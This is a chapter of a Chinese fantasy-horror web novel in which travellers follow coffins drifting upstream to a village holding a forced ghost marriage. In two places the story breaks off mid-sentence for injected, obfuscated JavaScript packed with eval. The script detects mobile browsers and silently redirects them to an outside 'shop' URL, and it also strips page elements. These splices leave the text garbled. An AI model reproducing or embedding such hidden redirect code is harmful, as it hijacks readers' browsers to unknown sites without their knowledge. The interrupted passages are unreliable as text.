九如拉起芒种,又去扶烈风煌。但烈风煌甩开他的手,自己站了起来。她脸上还挂着未干的泪痕,雨水一冲,分不清哪些是泪哪些是雨。她深深看了九如一眼,那眼神复杂得难以形容——有悲痛,有决绝,还有一种近乎自毁的麻木。 然后,她转身,朝着与灌木丛相反的方向走去。 “烈风煌!”九如急道,“你去哪?!” 烈风煌没有回答。她只是大步走进雨幕,深青色的劲装很快被雨水浸透,紧贴在身上,勾勒出单薄却挺直的背影。她腰间那柄修罗刀在雨水中泛着暗红的光,像凝固的血。 “让她去吧。”白砚按住九如的肩膀,声音在雨声中有些模糊,“她现在……需要一个人静一静。” 九如看着烈风煌的背影消失在雨幕深处,张了张嘴,最终什么也没说。他拉起芒种,三人快步冲进那片巨大的叶片下。 叶片果然能挡雨。 虽然边缘仍有雨水渗入,但中间一大片区域是干燥的。三人挤在下面,听着外面暴雨如注,天地间只剩下一片轰鸣的水声。 芒种缩在最里面,抱着膝盖,小脸苍白。她身上也湿了大半,头发贴在额头上,嘴唇冻得发紫。但她没顾自己,只是呆呆地望着烈风煌消失的方向,小声问:“九如哥哥……风姐姐不跟我们一起离开吗?” 九如正拧着衣摆上的水,闻言动作一顿。他沉默片刻,才低声道:“她现在……不需要我们。” 这话说得很轻,却字字沉重。 芒种似懂非懂地点点头,眼圈却红了。她想起风息圆里那些记忆画面,想起烈风荧最后倒在妹妹怀里消散的模样,想起烈风煌跪在雨中无声痛哭的背影。 有些痛,外人帮不了。 就像九如哥哥每次从噩梦中惊醒时,那双眼睛里深不见底的疲惫和迷茫。就像白砚哥哥手臂上蔓延的魂咒发作时,他咬紧牙关却一声不吭的隐忍。 每个人都带着自己的伤痕,在这条路上踉跄前行。 能做的,只是陪着,看着,不离开。 暴雨持续了将近一个时辰。 天色渐渐暗了下来,不是天黑,而是雨云太厚,遮蔽了所有光线。雨势稍缓,从倾盆大雨变成了绵绵细雨,但天空依旧阴沉,看不出何时会放晴。 九如忽然站起身。 “我去找点吃的。”他说着,脱下外袍——那件粗布袍子已经湿透了,他拧干,披在芒种身上,“你们在这里等着,别乱走。” 芒种抓紧衣袍,小声道:“九如哥哥……小心。” 九如点点头,转身走进细雨中。 白砚靠在一片叶柄上,闭目养神。他左臂的魂咒似乎又发作了,衣袖下的皮肤隐隐透出紫色的光,但他表情平静,只有额角细密的冷汗暴露了疼痛的存在。 芒种缩在衣袍里,看着外面灰蒙蒙的世界。雨丝如帘,将天地分割成无数细小的格子。远处湖泊——就是青石山下的那个湖,原本清澈见底,此刻水面被雨点击打得一片模糊,像蒙了一层纱。 九如去了约莫两刻钟。 回来时,他怀里抱着几个橙黄色的果子。果子有拳头大小,表皮光滑,在昏暗的光线下泛着温暖的光泽,像小太阳。他自己浑身又湿透了,头发贴在脸上,水珠顺着下颌线往下滴,但他脸上带着温和的笑。 “饿了么?”他走到芒种面前,递过一个果子,“吃吧。” 芒种接过果子,触手温热——不是果子本身发热,而是九如一直用体温捂着。她鼻子一酸,小声说:“谢谢九如哥哥。” 九如揉了揉她湿漉漉的头发,没说话。 他自己也拿起一个果子,在衣襟上擦了擦,咬了一口。果肉是淡黄色的,汁水充沛,酸甜适中,带着一种奇异的清香。白砚也接过一个,慢条斯理地吃起来。 三人默默吃着果子,听着雨声,谁也没说话。 气氛有些沉闷,却有种劫后余生的宁静。 芒种小口小口啃着果子,眼睛却不由自主地望向湖对岸——刚才烈风煌消失的方向。雨幕中,她隐约能看见一个身影,站在湖对岸的树下,一动不动,像钉在那里一样。 是烈风煌。 她没有走远,只是固执地站在雨中,背对着他们,不肯回头。 芒种咬咬嘴唇,想说什么,最终只是低下头,继续啃果子。 雨,又下了一夜。 不是暴雨,是那种缠绵的、细密的、仿佛永远也不会停的秋雨。滴滴答答,敲在叶片上,敲在泥土里,敲在每个人的心上。 九如几乎没睡。 他靠坐在叶片边缘,眼睛望着湖对岸那个模糊的身影。雨夜里,他看不清烈风煌的表情,只能看见一个轮廓,在树下一动不动,像一尊守夜的雕像。 他想起在风息圆的记忆里,那个拉着姐姐衣角、眼睛亮晶晶喊“荧姐姐”的小女孩。 想起白骨岛上,烈风煌挡在他身前,一剑斩杀疯狂岛民时,那双燃烧着暴怒和绝望的眼睛。 想起牛煞村,她冷着脸说“我管你该不该活,我只知道你现在站在这里”。 也想起画中仙破碎时,她跪在雨中,抱着姐姐消散后留下的血迹,哭得撕心裂肺的模样。 这个总是冷硬如刀、说话带刺的修罗道传人,心里藏着的,或许是比谁都深、比谁都痛的情义。 只是她从不表达。 或者说,她表达的方式,就是用刀,用血,用更极端的冷漠来掩盖内心的柔软。 天亮时分,雨终于停了。 不是渐渐停歇,而是毫无征兆地,骤然停止。就像被一只无形的手掐断了水源,前一秒还是细雨绵绵,下一秒就云开雾散。 天空呈现出一种被洗刷过的、澄澈的湛蓝。阳光穿透稀薄的云层,洒在湿漉漉的大地上,蒸腾起淡淡的水汽。草木经过一夜雨水的滋润,绿得发亮,叶片上挂着晶莹的水珠,风一过,簌簌落下,像下了一场钻石雨。 九如第一个站起来。 他活动了一下僵硬的身体,看向湖对岸。 烈风煌还站在那里。 但她的姿势变了——不再是直立,而是半跪在地上,双手撑地,头深深埋着,肩膀微微颤抖。修罗刀插在身旁的泥土里,刀身沾满泥水,暗淡无光。 九如心中一紧,正要过去—— “等等。”白砚忽然开口。 他不知何时也醒了,正站在叶片边缘,眯眼望着湖面。那双总是平静的眼睛里,此刻闪过一丝罕见的凝重。 “看湖里。”他低声说。 九如和芒种同时望去。 然后,他们都愣住了。 湖面……不对劲。 雨后的湖水本该浑浊,因为雨水冲刷了岸边的泥土。可此刻的湖水,却呈现出一种诡异的、近乎墨黑的深绿色。水面平静得像一面镜子,倒映着天空和岸边的树影,却没有任何波澜——连一丝涟漪都没有。 就像……一潭死水。 而更诡异的是,湖面上,开始浮起东西。 起初只是几个黑点,从湖心深处缓缓上浮,越来越大,越来越清晰。 是棺材。 长方形的、漆黑的棺材,表面裹着厚厚的淤泥和水草,像刚从湖底打捞上来的古物。棺材没有盖子——或者说,盖子被掀开了,朝下翻着,露出里面黑洞洞的棺内。 一具,两具,三具…… 越来越多的棺材从湖底浮起,像一片沉默的、送葬的船队,在平静的湖面上缓缓漂荡。 但它们的漂向……是逆流的。 湖水的流向本是从西向东——上游是青石山下的溪流汇聚而成,下游通往更远的河流。可这些棺材,却逆着水流,缓缓地、固执地,朝着上游——也就是青石山的方向漂去。 “葬棺逆流……”白砚喃喃,声音里有种不祥的预感,“大凶之兆。” 芒种吓得躲到九如身后,小手抓着他的衣角,声音发抖:“九如哥哥……那些……那些是什么……” 九如没回答。他盯着那些棺材,手按在承影剑柄上。剑身在鞘中微微震动,不是预警危险,而是一种……悲悯的哀鸣。 就像在黄泉路上,看见那些不得超生的亡魂时一样。 “我去看看。”九如说着,就要往湖边去。 “我跟你一起。”白砚跟上。 芒种虽然害怕,但也咬着嘴唇,小跑着跟了上去。 三人来到湖边。 距离近了,看得更清楚。那些棺材都是上好的木料制成——虽然被水泡得发黑,但能看出原本的质地坚硬,做工精细,不是寻常百姓用得起的薄皮棺材。棺身上甚至还能看见雕刻的花纹,是祥云和仙鹤的图案,寓意“驾鹤西去”,是富贵人家下葬时才用的规制。 而棺材里…… 九如深吸一口气,纵身一跃,跳上一具漂得最近的棺材。 棺材很稳,像一艘小船。他蹲下身,朝棺内看去—— 里面躺着一具尸体。 是个中年男人,约莫五十岁上下。穿着华丽的绸缎寿衣,料子是上好的云锦,上面用金线绣着福寿纹。尸体保存得相当完好,没有腐烂的迹象,只是皮肤泡得惨白发皱,像在水中浸了太久的宣纸。 最引人注目的是他的体型。 很胖。 不是健壮,是那种养尊处优的、缺乏运动的肥胖。脸圆得像满月,下巴叠出三层,肚子高高隆起,把寿衣撑得紧绷绷的。露在外面的手和脚,也都肉乎乎的,手指像一节节灌满水的香肠,脚踝粗得几乎看不见骨头。 而且……皮肤很嫩。 不是年轻人的紧致,而是那种常年不事劳作、保养得宜的细腻。手上没有老茧,指甲修剪得整整齐齐,甚至还泛着健康的光泽——对于一个死人来说,这太诡异了。 九如皱紧眉头。他又查看了附近几具棺材。 里面的尸体,无一例外,都是肥胖的、细皮嫩肉的、穿着华贵寿衣的中年人。有男有女,但共同点是:都很有钱。 寻常百姓,辛苦劳作一辈子,手上必有老茧,皮肤必被风霜磨砺,体型也多是精瘦或匀称。像这样养尊处优的肥胖,不是大户人家,就是富商巨贾。 “这些人……都是富贵人家。”白砚也跳上了另一具棺材,检查后得出结论,“而且死亡时间不长——最多不超过三个月。尸体在水里泡了这么久还能保持完好,应该是用了特殊的防腐手段,比如水银灌体,或者棺内放置了定颜珠。” 芒种站在岸边,小脸煞白,但还是鼓起勇气问:“可是……为什么他们的棺材会逆流漂上来?还……还没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109792|195842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盖子?” 这也是九如最大的疑问。 葬棺逆流,本就违背常理。而没有盖子的棺材,更像是……有人故意掀开,让尸体曝露在外,像某种展示,或者……警告? 就在这时,远处传来“哗啦”一声水响。 又一具棺材从湖心浮起。 但这具棺材,和其他的不太一样。 它更小,更精致,棺身涂着朱红色的漆——虽然被水泡得斑驳,但还能看出原本鲜艳的颜色。棺盖上雕刻的不是祥云仙鹤,而是一轮……弯月。 月牙形的,细细的,像美人蹙起的眉。 棺材逆着水流,缓缓漂向岸边。 最后,在九如站立的那具棺材旁,轻轻撞了一下,停住了。 九如低头看去。 朱红色的小棺内,躺着的不是肥胖的中年人。 是个少女。 约莫十六七岁年纪,穿着素白的衣裙,不是寿衣,就是普通的棉布裙子,洗得发白。她生得很清秀,瓜子脸,细眉,眼睛闭着,长长的睫毛像两把小扇子,在苍白的脸上投下淡淡的阴影。 最诡异的是她的表情。 不是死人常见的安详或狰狞,而是一种……似笑非笑的神情。嘴角微微上扬,像是在做一个甜蜜的梦,又像是……在嘲讽什么。 而她手里,紧紧攥着一件东西。 是一枚玉佩。 青玉质地,雕刻成月牙形,用红绳系着,挂在她纤细的手腕上。玉佩在晨光中泛着温润的光,上面刻着一个字: 月。 九如盯着那枚玉佩,心头莫名一跳。 他好像……在哪里见过类似的纹样? “月弯村。”白砚忽然开口。 九如抬头看他。 白砚指着上游的方向——也就是这些棺材逆流而来的方向:“沿着这条河往上走三十里,有个村子,叫月弯村。据说村里人世代信奉‘月神’,以月牙为图腾。他们的玉佩、首饰、甚至房屋的装饰,都有月牙纹样。” 他顿了顿,看向棺中少女手腕上的玉佩:“这枚玉佩……应该就是月弯村的信物。” 月弯村。 逆流葬棺。 曝尸湖面的富贵死者。 还有这个表情诡异的、握着月牙玉佩的少女…… 一切线索,都指向那个上游的村子。 九如从棺材上跳回岸边。他最后看了一眼湖对岸——烈风煌还跪在那里,对湖面上的异象毫无反应,仿佛整个世界都与她无关了。 “我们去月弯村。”九如说,声音坚定,“搞清楚,这些棺材是怎么回事。” 白砚点头。 芒种虽然害怕,但也用力点头:“我、我跟你们一起去。” 三人沿着河岸,逆流而上。 河水很急,雨后水位上涨,冲刷着岸边的岩石,发出轰隆隆的声响。那些逆流的棺材,在他们身后缓缓漂荡,像一支沉默的送葬队伍,在为某种未知的仪式开路。 走了约莫两个时辰,日头升到中天时,他们看见了村子。 那村子坐落在河湾处,地势平坦,屋舍整齐,清一色的白墙黑瓦,在阳光下干净得刺眼。村口有座石桥,桥栏上雕刻着精致的月牙纹样。桥头立着石碑,上面刻着三个字: 月弯村。 字迹娟秀,像是女子所书。 而此刻,村子里正传来喧闹声。 不是寻常的集市喧哗,也不是节庆的热闹,而是一种……混杂着哭喊、诵经、锣鼓声的、极其怪异的动静。 空气中,弥漫着浓重的香火味,还有……某种甜腻的、类似檀香又混合着草药的气息。 九如三人走近村口。 然后,他们看见了—— 一场葬礼。 白色的葬礼。 整个村子,目之所及,全是白色。 村民们都穿着白色的孝服,头上扎着白色的布条,连鞋面都蒙了白布。屋舍的门窗上贴着白色的剪纸,树上挂着白色的布幡,连石桥的栏杆,都系着白色的绸带。 而在村中央的空地上,停着一具棺材。 也是白色的。 不是漆成白色,而是用白色的绸缎整个包裹起来,像一具巨大的、蚕茧般的茧子。棺材周围,跪满了披麻戴孝的人,有老有少,有男有女,都在低声哭泣。 但他们的哭声……很怪。 不是悲痛欲绝的嚎啕,也不是压抑的啜泣,而是一种整齐的、有节奏的、像吟唱般的哭声。高低起伏,抑扬顿挫,仿佛在表演某种仪式。 棺材前,站着三个人。 一个穿着白色道袍的老者,手持桃木剑,脚踏七星步,口中念念有词。一个穿着素白衣裙的中年妇人,怀里抱着一面铜镜,镜面朝下,对着棺材。还有一个…… 是个年轻的女子。 约莫二十出头,穿着一身雪白的嫁衣——不是红嫁衣,是白的,从头到脚,连盖头都是白色的薄纱。她站在棺材旁,手里捧着一盏白色的灯笼,灯笼里燃着白色的蜡烛,火光在白天显得微弱而诡异。 她在笑。 隔着白纱,能隐约看见她嘴角上扬的弧度。 和湖中那具少女棺材里的尸体,一模一样的、似笑非笑的表情。 九如站在村口,看着这场诡异的白色葬礼,心中的不安越来越强烈。 他想起湖中逆流的棺材。 想起那些肥胖的、细皮嫩肉的富贵死者。 想起棺中少女手中的月牙玉佩。 还有眼前这场……完全违背常理的、白色的、像庆典多于葬礼的仪式。 这个月弯村,到底藏着什么秘密? 而更让他脊背发凉的是—— 当那个穿白嫁衣的女子,缓缓转过头,透过白纱看向村口时。 九如清楚地看见,她的眼睛。 是血红色的。 像两簇燃烧的鬼火。 在满目素白中,红得刺眼,红得……瘆人。 28. 弯月棺葬横死相(二) 那身白嫁衣的女子转过头时,九如清楚地看见了她眼睛里的血色。 不是红血丝,不是疲惫充血,而是整个眼白部分都浸透了暗红色的光,瞳孔深处更是两点燃烧的鬼火,在白色薄纱的遮掩下,妖异得令人脊背发凉。她就那样隔着纱幔“看”着村口的九如三人,嘴角上扬的弧度纹丝不动,像画上去的。 但只是一瞬。 下一瞬,她就转回头,继续捧着那盏白灯笼,面向那具白绸包裹的棺材,站得笔直,像一尊等待献祭的玉像。 而周围的村民们,似乎对这场诡异的白色葬礼习以为常。他们依旧跪在地上,发出那种整齐而有节奏的哭声,脸上虽挂着泪,眼神却空洞麻木,像一群被提线的木偶。 九如握紧了腰间的承影剑。 剑身在鞘中微微震动,传递来的不是预警危险的锐利感应,而是一种……深沉的、近乎悲悯的哀鸣。就像在风息圆,看见烈风荧消散时那样。 这个村子,不对劲。 “走。”他低声对白砚和芒种说,“悄悄绕过去,别惊动他们。” 三人正要后退,忽然—— “外乡人?” 一个苍老却洪亮的声音从身后响起。 九如猛地回头。 不知何时,一个须发皆白的老者已经站在他们身后三步远的地方。他穿着白色的长衫,布料是上好的丝绸,在阳光下泛着柔和的珍珠光泽。手里拄着一根乌木拐杖,杖头雕刻成月牙形状,嵌着一颗鸽蛋大小的白色玉石。 老者脸上堆着和蔼的笑容,眼角的皱纹像菊花般绽开。但九如注意到,他的眼睛——也是血红色的。 和那个白嫁衣女子一模一样。 “几位远道而来,辛苦了。”老者微微躬身,姿态恭敬得近乎谦卑,“老朽是月弯村的村长,姓陈。不知几位从何处来,要往何处去?” 他的声音温和有礼,但那双血红的眼睛在三人脸上扫过时,九如感到一种被毒蛇舔舐般的黏腻感。 “路过。”九如简短回答,“歇歇脚就走。” “哦?歇脚?”陈村长眼睛一亮——是真的“亮”了,那血色更深了些,“那可真是巧了!今日是我们月弯村的大喜之日,既然几位贵客光临,不如留下来喝杯喜酒,沾沾喜气?” 大喜之日? 九如看了一眼村中央那具白绸棺材,和棺材前穿白嫁衣的女子,又看看满地披麻戴孝的村民。 这哪里像喜事? 分明是葬礼。 “不必了。”九如后退一步,“我们赶路,不便叨扰。” “哎——”陈村长忽然上前,一把抓住九如的手腕! 他的手很冷,冷得像刚从冰窖里拿出来,皮肤干枯粗糙,但力道极大,像铁钳般箍着九如。脸上笑容依旧和蔼,眼神却透出一股不容拒绝的狂热:“贵客这话就见外了。我们月弯村最是好客,既然来了,哪有连杯水酒都不喝就走的道理?” 他身后,不知何时围上来十几个村民。 也都是穿着白色孝服,眼睛血红,脸上挂着僵硬的笑容。他们不说话,只是静静站着,将村口堵得严严实实。 气氛骤然紧绷。 白砚的手已经按在了腰间宝石腰带上。芒种吓得缩在九如身后,小手死死抓着他的衣角。 九如盯着陈村长血红的眼睛,又扫视周围那些眼神空洞的村民。他知道,硬闯不是不行——以他和白砚的身手,这些村民拦不住。但万一动手,芒种可能会有危险。 而且……这个村子太诡异了。 湖中逆流的棺材,诡异的白色葬礼,村民血红的眼睛…… 他想弄清楚,这里到底发生了什么。 “既然村长盛情,”九如缓缓开口,手腕一翻,巧妙地挣脱了陈村长的钳制,“那我们就……恭敬不如从命了。” 陈村长眼睛更亮了。他拄着拐杖退开一步,做了个“请”的手势:“贵客这边请——婚礼马上就要开始了,正好赶上拜堂!” 村民们“热情”地将三人迎进村子。 说是热情,不如说是裹挟。他们围在周围,不说话,只是笑——那种嘴角咧开、眼睛却空洞无神的笑。脚步整齐划一,像训练有素的军队,将九如三人簇拥在中间,朝着村中央那具白棺材走去。 走近了,才看清那棺材的细节。 不是寻常的木头棺材,而是用整块白玉——或者某种类似白玉的石头——雕刻而成。石料温润剔透,在阳光下泛着柔和的光晕,表面没有一丝瑕疵,显然是价值连城的宝物。棺材长约七尺,宽三尺,棺盖紧闭,上面雕刻着繁复的月牙纹样,从棺头到棺尾,连成一条蜿蜒的星河。 而那个穿白嫁衣的女子,就站在棺材左侧。 她比远看时更年轻,约莫十八九岁,生得极美——是那种不染尘埃的、像月光般清冷的美。皮肤白得透明,能看见下面淡青色的血管。眉毛细长,鼻梁挺直,嘴唇是淡淡的粉色,此刻微微抿着,带着一丝倔强的弧度。 但那双眼睛…… 九如看得更清楚了。 眼白部分不是纯粹的血红,而是布满了细密的、蛛网般的红血丝,从瞳孔向外辐射,像某种诡异的咒文。瞳孔本身是深褐色的,但深处却燃烧着两点暗红色的火苗,时明时暗,像风中残烛。 她手里捧着的白灯笼,烛光也是白色的——不是常见的暖黄,而是一种冰冷的、没有温度的白光,照在她脸上,让她看起来更像一尊玉雕的偶人,而非活物。 村民们将九如三人带到棺材前。 陈村长拄着拐杖走到女子身边,脸上笑容更盛:“来,月娘,见过几位贵客。这位是——”他看向九如。 “九如。”九如简短道。 “九如公子。”陈村长点头,又介绍白砚和芒种,“这两位是——” “同伴。”九如打断他,“村长,您说这是婚礼,可我们只见新娘,未见新郎。新郎何在?” 这话问得直接。 周围村民的笑容僵了一下。那个叫月娘的女子,身体也微微颤抖,捧灯笼的手攥得更紧,指节泛白。 陈村长却笑得更开怀了,露出一口黄黑的牙齿。他转身,拍了拍那具白玉棺材的棺盖,发出沉闷的“砰砰”声。 “新郎啊——”他拖长了声音,眼神里闪烁着某种疯狂的、近乎虔诚的光,“他一直就在啊。” 九如心头一凛。 他看向那具棺材。 白玉棺盖严丝合缝,看不出里面有什么。但陈村长拍打棺盖的动作,像在拍一个熟睡孩子的背。 “就在……这里面?”九如声音发沉。 “是啊。”陈村长笑出了后槽牙,那张和蔼的脸此刻扭曲得有些狰狞,“这是我的孙儿,刚满一岁——前几日得了急病,没救过来。但没关系,月娘会嫁给他,会在下面陪着他,让他不孤单。” 刚满一岁。 死婴。 冥婚。 九如终于明白了这场“婚礼”的本质。 也明白了湖中那些逆流棺材里,为什么都是富贵人家的死者——月弯村在用活人,给死人配阴婚。 而眼前这个叫月娘的少女,就是今天的“祭品”。 一股凉意从脚底窜上脊梁骨。九如握紧了剑柄,手指因用力而泛白。白砚也眯起了眼,指尖已经触到了腰带上那颗冰蓝色的宝石。 只有芒种,还不太明白发生了什么。她拽紧九如的衣服,小声问:“九如哥哥……他们在说什么呀?新郎……在棺材里?” 九如没有回答。 他只是盯着陈村长,声音冷得像冰:“村长,强配冥婚,有违天道。这位姑娘若是不愿,你们不能强迫她。” “不愿?”陈村长像是听到了什么笑话,转头看向月娘,“月娘,你告诉贵客,你愿不愿意?” 月娘身体颤抖得更厉害了。 她抬起头,透过白纱看向九如。那双血红的眼睛里,泪水在打转,却强忍着没有掉下来。嘴唇嚅动,似乎想说什么,但最终,只是缓缓地、极其轻微地……摇了摇头。 幅度很小,小到几乎看不见。 但九如看见了。 她不愿意。 “她不愿意。”九如一字一顿,“放了她。” 周围的村民骚动起来。 那些空洞的笑容消失了,取而代之的是一种冰冷的、近乎野兽般的敌意。他们慢慢围拢,眼睛里的血红更浓了,像要滴出血来。 陈村长脸上的笑容也消失了。 他盯着九如,看了很久,然后缓缓开口,声音变得异常平静,平静得可怕:“九如公子,这是我们月弯村的家事,也是……祖祖辈辈传下来的规矩。月娘的父母收了聘礼,签了婚书,她就是我们家的人了。怎么处置,是我们的事。” 他顿了顿,拐杖重重一顿地:“倒是几位贵客——既然来了,不如就留下来,喝完喜酒再走吧。” 话音落下的瞬间,那些围拢的村民忽然同时上前一步! 不是攻击,只是逼近。但他们眼神里的疯狂和狂热,比刀剑更让人心悸。 九如知道,硬碰硬的时候到了。 他正要拔剑—— “慢着。” 开口的是白砚。 他从九如身后走出,站到陈村长面前。青色长衣在风中微微飘动,脸色依旧苍白,但眼神清明冷静,像一潭深不见底的水。 “村长,”白砚开口,声音平和,“我们无意插手贵村事务。只是途经此地,想讨碗水喝,歇歇脚。既然贵村有喜事,我们更不该叨扰——这就告辞。” 他说得客气,但脚下却不着痕迹地移动,挡在了九如和芒种身前。 陈村长盯着白砚,血红的眼睛眯成一条缝。许久,他忽然笑了。 “这位公子说得对。”他拄着拐杖后退一步,挥挥手,“是老夫招待不周,怠慢贵客了。来人——上茶!” 一个穿着白裙的少女端着托盘走过来。托盘上是三只青瓷茶杯,杯子里盛着淡蓝色的液体,在阳光下泛着诡异的、像宝石般的光泽。 少女低着头,将茶杯依次递给九如、白砚、芒种。 九如没有接。 他盯着那杯蓝色的“茶”,鼻尖闻到一股淡淡的、甜腻的香气,像某种草药混合了花香,但深处却透着一丝若有若无的……血腥味。 “这是月弯村的‘迎客茶’,”陈村长笑眯眯地说,“用月神赐福的圣水冲泡,喝了能祛病消灾,延年益寿。贵客,请。” 九如依旧没接。 他不是傻子。这茶颜色诡异,气味更诡异,喝了还不知道会发生什么。 “多谢村长美意,”他缓缓道,“但我们不渴。” 话音刚落—— “啪!” 陈村长忽然抬手,一把打翻了少女手中的托盘! 三只青瓷茶杯摔在地上,碎成齑粉。蓝色的液体溅了一地,迅速渗进泥土里,发出“滋滋”的轻响,冒起淡淡的青烟——那液体竟有腐蚀性。 周围瞬间死寂。 所有村民都盯着九如,眼神里的敌意几乎凝成实质。 陈村长脸上的笑容彻底消失了。他盯着九如,声音冰冷得像从地狱里爬出来:“贵客,我们月弯村的规矩——茶送人,若不喝,必须碎了。否则,就是对月神不敬,对主家不敬。” 他顿了顿,一字一顿:“而‘不敬’的人……从来走不出月弯村。” 威胁,赤裸裸的威胁。 九如握剑的手背青筋暴起。他环顾四周——至少上百个村民,都穿着白色孝服,眼睛血红,将他们三人围得水泄不通。远处,更多的村民正从屋舍里走出来,手里拿着锄头、镰刀、甚至菜刀。 他们被包围了。 硬闯,不是不行。 但芒种怎么办? 九如深吸一口气,强迫自己冷静下来。他看向白砚,后者轻轻摇头,眼神示意:先别动手。 “村长误会了,”九如缓缓开口,声音尽量平和,“我们并非不敬,只是初来乍到,不懂规矩。这茶……我们喝就是。” 陈村长盯着他看了几秒,忽然又笑了。 笑容恢复了和蔼,仿佛刚才的冰冷和威胁从未存在过。 “这就对了。”他拍拍手,“来人,重新上茶!” 又一个少女端着托盘过来。这次是三只普通的陶杯,里面是清茶,颜色正常,气味也正常。 九如接过,假意抿了一口——茶确实是普通的粗茶,只是泡得太浓,苦涩得难以下咽。 白砚和芒种也接了,都只是沾了沾唇。 陈村长满意地点点头,又恢复了热情好客的模样:“好了好了,茶也喝了,误会也解除了。几位贵客,婚礼马上开始——请上座观礼!” 他指着棺材右侧——那里摆着几张桌椅,铺着白布,桌上摆着瓜果点心,甚至还有酒壶酒杯。 那是……“宾客席”。 九如看向白砚,后者微微点头。 三人被“请”到座位上坐下。周围立刻围上来几个村民,“热情”地给他们倒酒、递点心,但眼神始终死死盯着他们,像看守囚犯的狱卒。 而婚礼,真的开始了。 仪式诡异得让人头皮发麻。 没有唢呐,没有鞭炮,只有一群村民围成圈,用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109793|195842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一种怪异的、像吟咒又像哭丧的调子,齐声唱着一支听不懂的歌谣。歌词含糊不清,但旋律凄厉悠长,在空旷的村中央回荡,像无数冤魂在合唱。 月娘被两个中年妇人搀扶着——或者说,架着——走到棺材前。 她换了一身衣服。 还是白色的,但不是嫁衣了,而是一件宽大的、像寿衣般的白袍,袖口和下摆绣着密密麻麻的月牙纹样。头发被梳成妇人髻,插着一根白玉簪子,簪头也是月牙形状。 她的脸被厚厚的白粉涂抹,嘴唇点成鲜红色,像纸扎店里的纸人。眼睛依旧血红,但眼神彻底空了,像两潭死水,映不出任何东西。 陈村长拄着拐杖站在棺材旁,脸上洋溢着“喜气”,大声宣布: “吉时已到——新人拜堂!” 两个妇人强按着月娘的肩膀,让她面向棺材。 “一拜天地——” 月娘被按着,朝着天空的方向,僵硬地弯了弯腰。 “二拜高堂——” 陈村长走到棺材旁,拍了拍棺盖,笑呵呵地说:“孙儿,爷爷在这儿呢。” 月娘又被按着,朝着棺材的方向,弯了第二次腰。 “夫妻对拜——” 这次,月娘没有被按。 她就那样站着,面对着那具白玉棺材,一动不动。白粉下的脸看不出表情,但那双血红的眼睛里,终于滚下两行泪。 泪是红色的。 像血。 “月娘!”陈村长厉声喝道,“拜!” 月娘依旧不动。 周围村民的吟唱声更大了,几乎成了嘶吼。他们围拢过来,眼神狂热,像一群等待献祭的野兽。 就在这时,月娘忽然动了。 不是拜。 是转身。 她猛地转过身,面对着九如三人的方向,用尽全身力气,嘶声喊出一句话: “救救我——!” 声音凄厉绝望,像濒死的小兽最后的哀鸣。 然后,她就被人捂住了嘴,拖了回去。 陈村长的脸彻底黑了。他拄着拐杖,一步步走到九如面前,血红的眼睛死死盯着他: “贵客……见笑了。新娘不懂规矩,冲撞了客人,是大忌。” 他顿了顿,声音冰冷:“按我们月弯村的规矩——冲撞贵客者,当吊死水祭,以儆效尤。” 吊死。 水祭。 九如猛地站起:“你敢!” “我为什么不敢?”陈村长冷笑,忽然抬手指向周围的村民,“月弯村三百七十四口人,都是月神的子民。今日若因贵客插手,坏了规矩,惹怒月神——全村人都得死!” 他盯着九如,一字一顿:“贵客,你是要救一个外来的丫头,还是要害死我们全村三百多条性命?” 道德绑架。 赤裸裸的、恶毒的道德绑架。 九如握剑的手在颤抖。他看看被捂住嘴、眼泪混着血往下流的月娘,看看周围那些眼神狂热、显然已经完全被控制的村民,再看看身边吓得瑟瑟发抖的芒种。 救月娘,就可能逼疯这些村民,造成更大伤亡。 不救……难道眼睁睁看着一个无辜少女被活活吊死? “九如哥哥……”芒种小声啜泣,“我们……我们怎么办……” 白砚忽然开口:“村长,若我们留下观礼,直到婚礼完成……可否饶这姑娘一命?” 陈村长看向他,眼神闪烁:“这位公子的意思是……” “我们只是路过,不想惹麻烦。”白砚声音平静,“这姑娘冲撞了我们,按规矩是该罚。但今日毕竟是大喜之日,见血不祥。不如……先完成婚礼,再议处罚?” 他在拖延时间。 九如明白了。 陈村长盯着白砚看了很久,最终缓缓点头:“公子说得有理。那就……先完成婚礼。” 他转身,对按住月娘的妇人喝道:“继续!” 月娘被重新架到棺材前。 这一次,她没有再反抗。只是低着头,任凭眼泪和血泪往下淌,滴在白色的袍子上,晕开一朵朵暗红色的花。 “夫妻对拜——” 她被强按着,对着棺材,完成了最后一拜。 “礼成——送入洞房!” 没有洞房。 只有那具白玉棺材。 两个妇人打开棺盖——九如看见,棺材里铺着厚厚的白色绸缎,中间躺着一个小小的、穿着红色寿衣的婴孩尸体。孩子很小,脸皱巴巴的,眼睛闭着,像睡着了。 月娘被架着,抬起来,就要往棺材里放—— “等等!” 九如再次站起。 这一次,他拔出了承影剑。 剑身出鞘的瞬间,清冷的剑光照亮了周围。村民们被那光芒刺得纷纷后退,捂住眼睛,发出惊恐的嘶叫——那剑光对他们似乎有某种克制作用。 陈村长脸色大变:“你——” “婚礼已成,”九如盯着他,声音冷得像淬了冰的刀,“按规矩,她现在是你们家的‘媳妇’了。既然是你们家的人,怎么处置,是不是该问问……新郎的意见?” 他指了指棺材里的死婴。 陈村长愣住了。 周围的村民也愣住了。 显然,他们从没想过这个问题。 